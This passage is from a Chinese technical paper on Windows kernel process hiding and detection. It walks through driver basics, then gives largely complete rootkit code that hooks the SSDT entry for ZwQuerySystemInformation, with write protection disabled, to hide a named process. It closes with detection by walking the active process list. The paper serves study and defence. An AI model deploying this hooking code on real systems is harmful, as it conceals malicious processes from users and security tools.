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Windows2003 內核級進程隱藏、偵測技術
論文關鍵字: 內核 攔截 活動進程鏈表 系統服務派遣表 線程調度鏈 驅動程序簡介
論文摘要:信息對抗是目前發展的一個重要的方向,為了更好的防御,必須去深入的了解敵人進攻的招式。信息對抗促使信息技術飛速的發展。下面我選取了信息對抗技術的中一個很小一角關于windows內核級病毒隱藏技術和反病毒偵測技術作為議題詳細討論。
1.為什么選驅動程序
驅動程序是運行在系統信任的Ring0下在代碼,她擁有對系統任何軟件和硬件的訪問權限。這意味著內核驅動可以訪問所有的系統資源,可以讀取所有的內存空間,而且也被允許執行CPU的特權指令,如,讀取CPU控制寄存器的當前值等。而處于用戶模式下的程序如果試圖從內核空間中讀取一個字節或者試圖執行像MOV EAX,CR3這樣的匯編指令都會被立即終止掉。不過,這種強大的底線是驅動程序的一個很小的錯誤就會讓整個系統崩潰。所以對隱藏和反隱藏技術來說都提供了一個極好的環境。但是又對攻擊者和反查殺者提出了更高的技術要求。
2.入口例程DriverEntry
DriverEntry是內核模式驅動程序主入口點常用的名字,她的作用和main,WinMain,是一樣的。
extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{...}
DriverEntry的第一個參數是一個指針,指向一個剛被初始化的驅動程序對象,該對象就代表你的驅動程序,DriverEntry的第二個參數是設備服務鍵的鍵名。DriverEntry函數返回一個NTSTATUS值。NTSTATUS實際就是一個長整型,但你應該使用NTSTATUS定義該函數的返回值而不是LONG,這樣代碼的可讀性會更好。大部分內核模式支持例程都返回NTSTATUS狀態代碼,你可以在DDK頭文件NTSTATUS.H中找到NTSTATUS的代碼列表。
DriverEntry的作用主要就是創建設備對象,建立設備對象的符號鏈接,設置好各個類型的回調函數等。
例如:
extern "C"
NTSTATUS
DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = DriverUnload; <--1
DriverObject->DriverExtension->AddDevice = AddDevice;
DriverObject->DriverStartIo = StartIo;
DriverObject->MajorFunction[IRP_MJ_PNP] = DispatchPnp; <--2
DriverObject->MajorFunction[IRP_MJ_POWER] = DispatchPower;
DriverObject->MajorFunction[IRP_MJ_SYSTEM_CONTROL] = DispatchWmi;
...
}
在WDM中通過設置AddDevice回調函數來創建設備對象。在NT驅動中在DriverEntry例程中創建設備對象和符號鏈接。
例如:
RtlInitUnicodeString (&deviceNameUnicodeString, deviceNameBuffer); //初始化設備名字
//創建設備
ntStatus = IoCreateDevice (DriverObject,
0,
&deviceNameUnicodeString,
##DeviceId,
0,
FALSE,
&deviceObject
);
if ( NT_SUCCESS ( ntStatus ) ) {
RtlInitUnicodeString (&deviceLinkUnicodeString, deviceLinkBuffer); //初始化符號鏈接名字
//創建符號鏈接
ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString, &deviceNameUnicodeString);
if ( !NT_SUCCESS ( ntStatus ) ) {
IoDeleteDevice (deviceObject); //如果創建符號鏈接失敗,刪除設備
return ntStatus;
}
}
建立符號鏈接的作用就是暴露一個給應用程序的接口,應用程序可以通過CreateFile API打開鏈接符號,得到一個語柄,和我們的驅動程序進行交互操作。
3.Unload例程
雖然各個驅動程序的Unload例程不盡相同,但是它大致執行下列工作:
釋放屬于驅動程序的任何硬件。
從Win32的名字空間移除符號連接名。
這個動作可以調用IoDeleteSymbolicLink來實現。
使用IoDeleteDevice移除設備對象。
釋放驅動程序持有的任何緩沖池等。
VOID DriverUnload ( IN PDRIVER_OBJECT pDriverObject )
{
PDEVICE_OBJECT pNextObj;
// 循環每一個驅動過程控制的設備
pNextObj = pDriverObject->DeviceObject;
while (pNextObj != NULL)
{
//從設備對象中取出設備Extension
PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)extObj->DeviceExtension;
// 取出符號連接名
UNICODE_STRING pLinkName = pDevExt->ustrSymLinkName;
IoDeleteSymbolicLink(&pLinkName); //刪除符號連接名
IoDeleteDevice(pNextObj); // 刪除設備
pNextObj = pNextObj->NextDevice;
}
}
4. 派遣例程
Win2000的I/O請求是包驅動的,當一個I/O請求開始,I/O器先創建一個IRP去跟蹤這個請求,另外,它存儲一個功能代碼在IRP的I/O堆棧區的MajorField域中來唯一的標識請求的類型。MajorField域是被I/O管理器用來索引驅動程序對象的MajorFunction表,這個表包含一個指向一個特殊I/O請求的派遣例程的功能指針,如果驅動 程序不支持這個請求,MajorFunction表就會指向I/O器函數_IopInvalidDeviceRequest,該函數返回一個錯誤給原始的調用者。驅動程序的作者有責任提供所有的驅動程序支持的派遣例程。所有的驅動程序必須支持IRP_MJ_CREATE功能代碼,因為這個功能代碼是用來響應Win32用戶模式的CreateFile調用,如果不支持這功能代碼,Win32程序就沒有辦法獲得設備的句柄,類似的,驅動程序必須支持IRP_MJ_CLOSE功能代碼,因為它用來響應Win32用戶模式的CloseHandle調用。順便提一下,系統自動調用CloseHandle函數,因為在程序退出的時候,所有的句柄都沒有被關閉。
static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
NTSTATUS status;
PIO_STACK_LOCATION irpSp;
//得到當前IRP (I/O請求包)
irpSp = IoGetCurrentIrpStackLocation( Irp );
switch (irpSp->MajorFunction)
{
case IRP_MJ_CREATE:
DbgPrint("IRP_MJ_CREATE\n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0L;
break;
case IRP_MJ_CLOSE:
DbgPrint("IRP_MJ_CLOSE\n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0L;
break;
}
IoCompleteRequest(Irp, 0);
return STATUS_SUCCESS;
}
大部分的I/O管理器的操作支持一個標準的讀寫提取,IRP_MJ_DEVICE_CONTROL允許擴展的I/O請求,使用用戶模式的DeviceIoControl函數來調用,I/O管理器創建一個IRP,這個IRP的MajorFunction和IoControlCode是被DeviceIoControl函數指定其內容。傳遞給驅動程序的IOCTL遵循一個特殊的結構,它有32-bit大小,DDK包含一個方便的產生IOCTL值的機制的宏,CTL_CODE?梢允褂肅TL_CODE宏來定義我們自己的IOCTL。
例如:
#define IOCTL_MISSLEDEVICE_AIM CTL_CODE \
( FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ACCESS_ANY )
NTSTATUS DispatchIoControl( IN PDEVICE_OBJECT pDO, IN PIRP pIrp )
{
NTSTATUS status = STATUS_SUCCESS;
PDEVICE_EXTENSION pDE;
PVOID userBuffer;
ULONG inSize;
ULONG outSize;
ULONG controlCode; // IOCTL請求代碼
PIO_STACK_LOCATION pIrpStack; //堆棧區域存儲了用戶緩沖區信息
pIrpStack = IoGetCurrentIrpStackLocation( pIrp );
// 取出IOCTL請求代碼
controlCode = pIrpStack-> Parameters.DeviceIoControl.IoControlCode;
// 得到請求緩沖區大小
inSize = pIrpStack-> Parameters.DeviceIoControl.InputBufferLength;
OutSize = pIrpStack-> Parameters.DeivceIoControl.OutputBufferLength;
//現在執行二次派遣
switch (controlCode)
{
case IOCTL_MISSLEDEVICEAIM:
......
case IOCTL_DEVICE_LAUNCH:
......
default: // 驅動程序收到了未被承認的控制代碼
status = STATUS_INVALID_DEVICE_REQUEST;
}
pIrp->IoStatus.Information = 0; // 數據沒有傳輸
IoCompleteRequest( pIrp, IO_NO_INCREMENT ) ;
return status;
}
5.驅動程序的安裝
SC管理器(即服務控制管理器)可以控制服務和驅動程序。
加載和運行一個服務需要執行的典型操作步驟:
1.調用OpenSCManager()以獲取一個管理器句柄
2.調用CreateService()來向系統中添加一個服務
3.調用StartService()來運行一個服務
4.調用CloseServiceHandle()來釋放管理器或服務句柄
BOOL InstallDriver()
{
SC_HANDLE hSCManager = NULL;
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if(hSCManager == NULL)
{
fprintf(stderr, "OpenSCManager() failed. --err: %d\n", GetLastError());
return FALSE;
}
SC_HANDLE schService;
schService = CreateService( hSCManager, //SCManager database
"MyDriver", // name of service
"MyDriver", // name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_KERNEL_DRIVER, // service type
SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type
DriverPath, // service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL // no password
);
if (schService == NULL)
{
if(GetLastError() == ERROR_SERVICE_EXISTS)
{
printf("Service has already installed!\n");
}
printf("Install driver false!");
return FALSE;
}
BOOL nRet = StartService(schService, 0, NULL);
if(!nRet)
{
if(GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)
{
printf("Service is already running!\n");
return FALSE;
}
}
CloseServiceHandle(schService);
CloseServiceHandle(hSCManager);
return TRUE;
}
以上對驅動程序大致框架做了一個非常簡單的介紹,這僅僅是驅動程序中的一個”Hello World!”。驅動程序是相當復雜的,由于我們只是利用驅動程序的特權,對windows內核進行修改,所以就不對驅動驅動程序進行深入討論了。
通過Hook SSDT (System Service Dispath Table) 隱藏進程
1.原理介紹:
Windows操作系統是一種分層的架構體系。應用層的程序是通過API來訪問操作系統。而API又是通過ntdll里面的核心API來進行系統服務的查詢。核心API通過對int 2e的切換,從用戶模式轉換到內核模式。2Eh中斷的功能是通過NTOSKRNL.EXE的一個函數KiSystemService()來實現的。在你使用了一個系統調用時,必須首先裝載要調用的函數索引號到EAX寄存器中。把指向參數區的指針被保存在EDX寄存器中。中斷調用后,EAX寄存器保存了返回的結果。KiSystemService()是根據EAX的值來決定哪個函數將被調用。而系統在SSDT中維持了一個數組,專門用來索引特定的函數服務地址。在Windows 2000中有一個未公開的由ntoskrnl.exe導出的KeServiceDescriptorTable變量,我們可以通過它來完成對SSDT的訪問與修改。KeServiceDescriptorTable對應于一個數據結構,定義如下:
typedef struct SystemServiceDescriptorTable
{
UINT *ServiceTableBase;
UINT *ServiceCounterTableBase;
UINT NumberOfService;
UCHAR *ParameterTableBase;
}SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;
其中ServiceTableBase指向系統服務程序的地址(SSDT),ParameterTableBase則指向SSPT中的參數地址,它們都包含了NumberOfService這么多個數組單元。在windows 2000 sp4中NumberOfService的數目是248個。
我們的任務器,是通過用戶層的API來枚舉當前的進程的。Ring3級枚舉的方法:
• PSAPI
– EnumProcesses()
• ToolHelp32
– Process32First()
- Process32Next()
來對進程進行枚舉。而她們最后都是通過NtQuerySystemInformation來進行查詢的。所以我們只需要Hook掉NtQuerySystemInformation,把真實NtQuerySystemInformation返回的數進行添加或者是刪改,就能有效的欺騙上層API。從而達到隱藏特定進程的目的。
2. Hook
Windows2000中NtQuerySystemInformation在SSDT里面的索引號是0x97,所以只需要把SSDT中偏移0x97*4處把原來的一個DWORD類型的讀出來保存一個全局變量中然后再把她重新賦值成一個新的Hook函數的地址,就完成了Hook。
OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97];
KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress;
在其他系統中這個號就不一定一樣。所以必須找一種通用的辦法來得到這個索引號。在《Undocument Nt》中介紹了一種辦法可以解決這個通用問題,從未有效的避免了使用硬編碼。在ntoskrnl 導出的 ZwQuerySystemInformation中包含有索引號的硬編碼:
kd> u ZwQuerySystemInformation
804011aa b897000000 mov eax,0x97
804011af 8d542404 lea edx,[esp+0x4]
804011b3 cd2e int 2e
804011b5 c21000 ret 0x10
所以只需要把ZwQuerySystemInformation入口處的第二個字節取出來就能得到相應的索引號了。例如:
ID = *(PULONG)((PUCHAR)ZwQuerySystemInformation+1);
RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]);
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID] = HookZwQuerySystemInformation;
3.對NtQuerySystemInformation返回的數據進行刪改
NtQuerySystemInformation的原型:
NtQuerySystemInformation(
IN ULONG SystemInformationClass, //查詢系統服務類型
IN PVOID SystemInformation, //接收系統信息緩沖區
IN ULONG SystemInformationLength, //接收信息緩沖區大小 OUT PULONG ReturnLength); //實際接收到的大小
NtQuerySystemInformation可以對系統的很多狀態進行查詢,不僅僅是對進程的查詢,通過SystemInformationClass號來區分功能,當SystemInformationClass等于5的時候是在進行進程的查詢。此時返回的SystemInformation 是一個 _SYSTEM_PROCESSES結構。
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta; //下一個進程信息的偏移量,如果為0表示無一個進程信息
ULONG ThreadCount; //線程數量
ULONG Reserved[6]; //
LARGE_INTEGER CreateTime; //創建進程的時間
LARGE_INTEGER UserTime; //進程中所有線程在用戶模式運行時間的總和
LARGE_INTEGER KernelTime; //進程中所有線程在內核模式運行時間的總和
UNICODE_STRING ProcessName; //進程的名字
KPRIORITY BasePriority; //線程的缺省優先級
ULONG ProcessId; //進程ID號
ULONG InheritedFromProcessId; //繼承語柄的進程ID號
ULONG HandleCount; //進程打開的語柄數量
ULONG Reserved2[2]; //
VM_COUNTERS VmCounters; //虛擬內存的使用情況
IO_COUNTERS IoCounters; //IO操作的統計,Only For 2000
struct _SYSTEM_THREADS Threads[1]; //描述進程中各線程的數組
};
當NextEntryDelta域等于0時表示已經到了進程信息鏈的末尾。我們要做的僅僅是把要隱藏的進程從鏈中刪除。
4. 核心實現
//系統服務表入口地址
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
……
__asm{
mov eax, cr0
mov CR0VALUE, eax
and eax, 0fffeffffh //DisableWriteProtect
mov cr0, eax
}
//取得原來ZwQuerySystemInformation的入口地址
RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] );
//Hook
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;
//EnableWriteProtect
__asm
{
mov eax, CR0VALUE
mov cr0, eax
}
……
return STATUS_SUCCESS;
}
VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)
{
……
//UnHook恢復系統服務的原始入口地址
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation;
……
}
NTSTATUS HookFunc(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rc;
struct _SYSTEM_PROCESSES *curr;
// 保存上一個進程信息的指針
struct _SYSTEM_PROCESSES *prev = NULL;
//調用原函數
rc = (RealZwQuerySystemInformation) (
SystemInformationClass,
SystemInformation,
SystemInformationLength, ReturnLength);
if(NT_SUCCESS(rc))
{
if(5 == SystemInformationClass)
//如果系統查詢類型是SystemProcessesAndThreadsInformation
{
curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
//加第一個偏移量得到第一個system進程的信息首地址
if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
while(curr)
{
if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0)
{
//找到要隱藏的進程
if(prev)
{
if(curr->NextEntryDelta)
{
//要刪除的信息在中間
prev->NextEntryDelta += curr->NextEntryDelta;
}
else
{
//要刪除的信息在末尾
prev->NextEntryDelta = 0;
}
}
else
{
if(curr->NextEntryDelta)
{
//要刪除的信息在開頭
(char *)SystemInformation += curr->NextEntryDelta;
}
else
{
SystemInformation = NULL;
}
}
//如果鏈下一個還有其他的進程信息,指針往后移
if(curr->NextEntryDelta)
((char*)curr+=curr->NextEntryDelta); else
{
curr = NULL;
break;
}
}
if(curr != NULL)
{
//把當前指針設置成前一個指針,當前指針后移
prev = curr;
if(curr->NextEntryDelta)
((char*)curr+=curr->NextEntryDelta);
else curr = NULL;
}
} // end while(curr)
}
}
return rc;
}
通過IOCTL和Ring3級的應用程序通過DeviceIoControl(API)交互信息。Ring3級的用戶程序使用,
DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,
NULL,0,& BytesReturned,NULL)來通知驅動程序要隱藏的進程的名字。
枚舉和修改活動進程鏈表來檢測和隱藏進程
1. 介紹EPROCESS塊(進程執行塊)
每個進程都由一個EPROCESS塊來表示。EPROCESS塊中不僅包含了進程相關了很多信息,還有很多指向其他相關結構數據結構的指針。例如每一個進程里面都至少有一個ETHREAD塊表示的線程。進程的名字,和在用戶空間的PEB(進程)塊等等。EPROCESS中除了PEB成員塊在是用戶空間,其他都是在系統空間中的。
2. 查看EPROCESS結構
kd> !processfields
!processfields
EPROCESS structure offsets:
Pcb: 0x0
ExitStatus: 0x6c
LockEvent: 0x70
LockCount: 0x80
CreateTime: 0x88
ExitTim e: 0x90
LockOwner: 0x98
UniqueProcessId: 0x9c
ActiveProcessLinks: 0xa0
QuotaPeakPoolUsage[0]: 0xa8
QuotaPoolUsage[0]: 0xb0
PagefileUsage: 0xb8
CommitCharge: 0xbc
PeakPagefileUsage: 0xc0
PeakVirtualSize: 0xc4
VirtualSize: 0xc8
Vm: 0xd0
DebugPort: 0x120
ExceptionPort: 0x124
ObjectTable: 0x128
Token: 0x12c
WorkingSetLock: 0x130
WorkingSetPage: 0x150
ProcessOutswapEnabled: 0x154
ProcessOutswapped: 0x155
AddressSpaceInitialized: 0x156
AddressSpaceDeleted: 0x157
AddressCreationLock: 0x158
ForkInProgress: 0x17c
VmOperation: 0x180
VmOperationEvent: 0x184
PageDirectoryPte: 0x1f0
LastFaultCount: 0x18c
VadRoot: 0x194
VadHint: 0x198
CloneRoot: 0x19c
NumberOfPrivatePages: 0x1a0
NumberOfLockedPages: 0x1a4
ForkWasSuccessful: 0x182
ExitProcessCalled: 0x1aa
CreateProcessReported: 0x1ab
SectionHandle: 0x1ac
Peb: 0x1b0
SectionBaseAddress: 0x1b4
QuotaBlock: 0x1b8
LastThreadExitStatus: 0x1bc
WorkingSetWatch: 0x1c0
InheritedFromUniqueProcessId: 0x1c8
GrantedAccess: 0x1cc
DefaultHardErrorProcessing 0x1d0
LdtInformation: 0x1d4
VadFreeHint: 0x1d8
VdmObjects: 0x1dc
DeviceMap: 0x1e0
ImageFileName[0]: 0x1fc
VmTrimFaultValue: 0x20c
Win32Process: 0x214
Win32WindowStation: 0x1c4
3. 什么是活動進程鏈表
EPROCESS塊中有一個ActiveProcessLinks成員,它是一個PLIST_ENTRY機構的雙向鏈表。當一個新進程建立的時候父進程負責完成EPROCESS塊,然后把ActiveProcessLinks鏈接到一個全局內核變量PsActiveProcessHead鏈表中。
在PspCreateProcess內核API中能清晰的找到:
InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);
當進程結束的時候,該進程的EPROCESS結構當從活動進程鏈上摘除。(但是EPROCESS結構不一定就馬上釋放)。
在PspExitProcess內核API中能清晰的找到:
RemoveEntryList(&Process->ActiveProcessLinks);
所以我們完全可以利用活動進程鏈表來對進程進行枚舉。
4. 進程枚舉檢測Hook SSDT隱藏的進程。
事實上Nactive API ZwQuerySystemInformation 對進程查詢也是找到活動進程鏈表頭,然后遍歷活動進程鏈。最后把每一個EPROCESS中包含的基本信息返回(包括進程ID名字等)。所以用遍歷活動進程鏈表的辦法能有效的把Hook SSDT進行隱藏的進程輕而易舉的查出來。但是PsActiveProcessHead并沒被ntoskrnl.exe 導出來,所以我們可以利用硬編碼的辦法,來解決這個問題。利用內核調試器livekd查得PsActiveProcessHead的地址為: 0x8046e460.(在2000 sp4中得到的值)
kd> dd PsActiveProcessHead L 2
dd PsActiveProcessHead L 2
8046e460 81829780 ff2f4c80
PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY)0x8046e460;
void DisplayList()
{
PLIST_ENTRY List = PsActiveProcessHead->Blink;
while( List != PsActiveProcessHead )
{
char* name = ((char*)List-0xa0)+0x1fc;
DbgPrint("name = %s\n",name);
List=List->Blink;
}
}
首先把List指向表頭后的第一個元素。然后減去0xa0,因為這個時候List指向的并不是EPROCESS塊的頭,而是指向的它的ActiveProcessLinks成員結構,而ActiveProcessLinks在EPROCESS中的偏移量是0xa0,所以需要減去這么多,得到EPROCESS的頭部。在EPROCESS偏移0x1fc處是進程的名字信息,所以再加上0x1fc得到進程名字,并且在Dbgview中打印出來。利用Hook SSDT隱藏的進程很容易就被查出來了。
5. 解決硬編碼問題。
在上面我們的PsActiveProcessHead是通過硬編碼的形式得到的,在不同的系統中這值不一樣。在不同的SP版本中這個值一般也不一樣。這就給程序的通用性帶來了很大的問題。下面就來解決這個PsActiveProcessHead的硬編碼的問題。
ntoskrnl.exe導出的PsInitialSystemProcess 是一個指向system進程的EPROCESS。這個結構成員EPROCESS.ActiveProcessLinks.Blink就是指向PsActiveProcessHead的.
kd> dd PsInitialSystemProcess L 1
dd PsInitialSystemProcess L 1
8046e450 818296e0
kd> !process 818296e0 0
!process 818296e0 0
PROCESS 818296e0 SessionId: 0 Cid: 0008 Peb: 00000000 ParentCid: 0000
DirBase: 00030000 ObjectTable: 8185d148 TableSize: 141.
Image: System
可以看出由PsInitialSystemProcess得到的818296e0正是指向System的EPROCESS.
kd> dd 818296e0+0xa0 L 2
dd 818296e0+0xa0 L 2
81829780 814d1a00 8046e460
上面又可以看出S
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